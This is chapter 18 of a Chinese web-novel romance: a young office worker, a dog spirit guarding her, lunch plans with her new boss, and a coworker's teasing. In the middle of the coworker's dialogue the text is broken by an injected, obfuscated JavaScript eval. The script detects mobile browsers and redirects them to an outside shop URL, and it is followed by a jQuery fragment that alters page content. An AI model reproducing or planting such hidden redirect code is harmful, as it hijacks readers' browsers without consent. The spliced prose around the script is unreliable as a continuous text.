18. 第 18 章

作品:《狐狸的抱恩

    一夜无梦,酣睡天明。


    盛婳睁眼,拿起手机看看时间,熟悉的早上八点。


    揉揉眼睛,她靠在床头眯了几分钟,才裹着被子晕乎乎坐起。


    冷气袭身,盛婳打了两个喷嚏才彻底清醒过来。然后裹着被子跳下床,从衣柜里把今天要穿的衣服拿出来。


    顾涌在被子里穿好衣服,她打开房门走出去。


    才到客厅,就见一只大黄狗吧嗒着爪子从卫生间走过来,看见她甩甩尾巴像是招呼,身后马桶正在抽水。


    盛婳猛地停步,吓了一跳。然后才反应过来——这是昨天王妙治安官送过来的。


    她松口气,走过去摸摸狗头:“好狗狗,还真会上厕所。”


    然后走进卫生间洗漱。


    看着盛婳的身影消失在门口,黄旺旺松口气,然后甩甩尾巴坐在茶几旁边,安静等着人出来。


    刷牙、洗脸、放水。


    回房间给自己撸了一个妆,三十分钟就过去了。她急急忙忙背着包冲出门,大黄亦步亦趋跟在后面。


    上电梯,下行。


    一下电梯,狗狗立马冲出大厅,钻进小区绿化灌木里。


    “欸……”盛婳抬手,“这就走了……”


    她想追上去,可上班的早上,每一分钟都很珍贵。盛婳不敢多停,眼看着黄色身影消失在灌木里,急急忙忙往小区外的地铁冲。


    直到上了车,挤在人群里,她才松口气,先打开手机给王妙发了一个消息,告诉她狗狗已经走了,让她注意有没有回去。


    王妙回了两个字母:ok。


    回完消息,又打开聊天软件,昨晚临睡前发出去的消息已经有了回复。


    苏玉玉:‘哪里来的狗狗?’


    盛婳回:‘王妙治安官晚上刚送过来的,’又问:‘你房子怎么样了?’


    本以为这个时间点,对方应该还在睡觉,没想到消息发过去没一分钟,就来了回复。


    苏玉玉:‘别提了,好多衣服都泡坏了,这房子也住不了了,准备找个新的搬出去,这两天过不去了。[抱歉][抱歉]’


    盛婳叹口气,打字安慰她:‘没关系,你好好处理自己的事就行。’


    回完苏玉玉,又看胡月徊的对话框,第一条只有两个字:‘可爱。’


    也不知道是在夸她还是夸狗。


    后面紧跟着一串文字和一张图片:‘回了趟老家,带了点特产出来,要不要给你送一点?’


    图片一看就是随手照的,应该是在车里,深色皮革上放着个打开的塑料袋,里面装着香肠腊肉,还有几个黑乎乎的团子。


    盛婳一眼就认出来:‘猪血丸子!你老家也是庆市的?’


    这种用豆腐猪血和在一起团成团,然后用烟熏过的黑丸子,除了老家,她在外面很少看到。


    和苏玉玉一样,胡月徊的回复消息也来得很快。


    ‘[可爱]’


    ‘那我明天中午来公司的时候,给你带过来。’


    看着这两条消息,盛婳嘴角不自觉勾起一抹笑容。


    她口腹之欲不重,对于家乡的特产,虽然偶有想念,但并没有一定要吃到的执念。


    但此时此刻,特产并不是最重要的。


    盛婳慢慢打字:‘会不会麻烦?’


    胡月徊的消息很快:‘反正我都是要来公司的,顺路。’


    盛婳想了想:‘那我请你吃饭,这次不能拒绝了。’


    ‘好,中午见。’


    ‘中午见。’


    合上手机,地铁刚好到站。盛婳被裹挟在涌动的人群之中,顺利在九点之前走进公司,然后打上了卡。


    工作虽然枯燥,但想到明天中午要请胡月徊吃饭,她的心就会不自觉雀跃起来,并趁着工作间隙,问旁边宁晓:“附近有没有吃饭的地方?”


    宁晓从电脑屏幕前抬起眼:“旁边那地下商场不是很多?”


    盛婳:“我明天要请人吃饭,得环境好一点。”


    “这样啊,”宁晓摸摸下巴,“有倒是有,不过……你请的是男是女?”


    “男。”


    “哦……男的啊~”宁晓拖长了声调,似笑非笑睨她,“我知道有一家日料店,环境不错,菜量也合适,就是有丢丢小贵。”


    盛婳表情不变:“人均多少?”


    “三百。”


    还行。


    盛婳点点桌子上的手机:“发给我看看先。”


    “啧。”宁晓拿起手机,边戳屏幕边嘟嘴小声:“怎么使唤起我来这么不客气?”


    ‘叮咚——’


    消息过来,盛婳打开手机,一边点开小程序一边道:“什么使唤?这是信任你。”


    宁晓不语,盯着她认真的侧脸,突然眼珠一转,单脚在地上蹬一下。办公椅子下滚轮滑动,立刻将她带到了盛婳旁边。


    “嗯哼,跟我说说呗?”她推推盛婳的胳膊。


    “说什么?”盛婳头也不抬,眼里只有小程序里的店名信息、环境和其他人体验的关注。


    “那个男的啊。”宁晓小声说,“怎么认识的?”


    盛婳:“八字还没一撇呢。”


    宁晓却不在意,晃她的胳膊:“说嘛,说嘛,都请吃饭了,这一撇迟早也能撇出来的。”


    见盛婳依旧不为所动,她面色忽地一变,甩开盛婳的胳膊,抱胸嘟嘴,轻声哼哼说:“我不管,我男朋友的事都和你说了那么多,这个你也得和我说说,不然咱们就绝交!绝交!绝交绝交绝交绝交……”


    “行行行……”盛婳被她念得头皮发麻,放下手机认输,“你想知道什么?现在问。”


    宁晓立马凑过来:“什么时候认识的?怎么认识的?长得什么样?是公司的吗?”


    盛婳:……


    她挠挠头:“就不久前,地铁上认识的,我不是跟你说过遇到过一个帅哥,然后还加了联系方式嘛。”


    宁晓回忆:“就是给你小号那个?”


    盛婳点头,又飞快摇头:“是那个人,但他给的不是小号,只是本人比较少用社交软件。”


    宁晓眉毛一皱:“多大了?”


    “26。”


    宁晓松口气:“长什么样?不会还没照片吧?是公司的话告诉我叫什么名就行,我有人脉自己去看。”


    盛婳却顿住了,垂下眼,胡月徊算不算公司的?


    她组织语言:“……emm,之前团建的时候,你不是说颖姐看到我跟一个男的走在一起嘛?就是他。”


    宁晓对那天印象可谓深刻。


    “可是……”她想起在车上时周琦真说的话,“可那姓周的不是说,跟你一起走的那个,是公司新老板?”


    盛婳点头,手里不慌不忙下单:“就是他。”


    “嘶……”宁晓倒抽一口冷气,转头用一种奇怪的眼神盯着盛婳,“没想到啊,婳婳,不出手则已,一出手就整个大的。”


    什么什么大的?


    盛婳没好气,白她一眼:“就当你夸我了。”


    “当然是夸你!”宁晓揽住盛婳的肩膀,语重心长:“好姐妹,苟富贵勿相忘。”


    然后又接一句:“记得拍个照片,让姐妹也欣赏下帅哥。”


    盛婳:“看我心情。”


    “对了。”宁晓又压低声音,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477833|201585||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    既然是老板,嘛家里肯定有钱,我推荐的这家店会不会太便宜了点?”


    盛婳愣了下,回想了下前几次和胡月徊相处时的经历,摇头:“他不会介意这些。”


    毕竟两人第一次吃饭的时候,去的是巷子里的苍蝇小馆。


    “那你加油。”


    宁晓说完,踩脚滑着椅子,回到了自己工位上。


    心怀期待,上班的时间也不那么难熬了。一天很快过去,盛婳踩着点下了班,在六点半,准时到达居住小区外面的地铁站。


    才出地铁口,就看到旁边绿化带边坐着条黄色大狗,对上盛婳的目光后尾巴摇了摇,慢慢走过来。


    一颗心瞬间软成了水。


    她躬下身,揉住狗狗脑袋一阵搓,夹着嗓子夸:“可爱,可爱,怎么这么乖啊~”


    黄旺旺修成人形多年,自然受不住这样蹂躏,呜咽一声,艰难从她手里拔出脑袋,眼神警惕后退几步,然后螺旋甩头。


    盛婳哈哈笑,将滑落的包带楼回肩膀,甩手:“走,我们回家!”


    然后蹦跳着穿过斑马线。


    黄旺旺吸吸鼻子,在空气中残留的味道里闻到了快乐的气息,耳朵立刻一竖,踩着爪子哒哒哒跟上去。


    穿过大门,直到小区里面的便民超市门口,盛婳摸摸狗脑袋:“你在这等会,我去买点东西。”


    黄旺旺甩甩尾巴,端正坐下。


    盛婳放心钻进超市,买了新鲜的鸡胸肉和牛肉,结账后带着它乘坐电梯回了家。


    打开阳台门,把水碗里的水换了新的,再把新买的鸡胸肉洗了放进锅里。等煮熟后分成两份,一份拌点黄瓜、花生和辣椒油自己吃,另一份撕开后拌了点点蔬菜、南瓜,端到阳台去。


    黄旺旺在阳台垫子上眯眼休息,就听到阳台门被推开的声音,抬头看,盛婳走进来,将一只碗摆在它面前。


    它好奇嗅嗅,闻到是食物的香味,眼睛一亮,卷着舌头将肉舔进嘴里。


    虽然已经已经吃过饭了,但谁会嫌食物多呢?这小姑娘人真不错,善良又体贴,不枉自己过来保护。


    吃完饭,天差不多就黑了。


    眼看盛婳收拾好碗筷后拿着衣服走进浴室,黄旺旺立刻拉上阳台窗帘关上门,它站在阳台边上,狗脑袋从栏杆缝隙伸出去,半点不敢乱看。


    好一会儿,等盛婳洗完澡穿着睡衣进了房间,它才松口气,又蜷身卧回毯子上。


    夜静悄悄的,轻拂的微风撩开窗帘一角。


    隔着门,黄旺旺抖抖耳朵,听见那唯一的房间里除了轻柔的音乐声外,还有笔触沙沙声。


    在工作吧?


    它想着,将下巴垫在爪子上,眼睛微微闭起来,叹气:人可真累,这么晚了还不能休息。


    时间一点一滴过去,夜更深,周围温度慢慢降下来,呼出的气体都变成了白色。


    房间里音乐已经停了,只有一道平缓而顺长的呼吸声。


    不知多久,黄旺旺突然抬头,目光透过紧闭的窗帘,望向门口方向。


    那里有一道气息,冰冷幽沉,不知道什么时候出现的,似千年不化的寒冰,散发着炙人的冷意。


    脸上表情瞬间严肃起来,黄旺旺悄无声息从阳台钻进客厅。


    几乎瞬间。


    这气息不见,门口一片安宁。


    接着,是一道脚步声由远及近,不疾不徐。从门缝处传进来的气息看,是王妙。


    又跑了。


    黄旺旺叹一声,把阳台的垫子拖出来,铺在盛婳房间门口,踩平了闭眼卧上去。


    隔着一扇门,盛婳裹着被子闭眼躺在床上,轻轻翻了个身。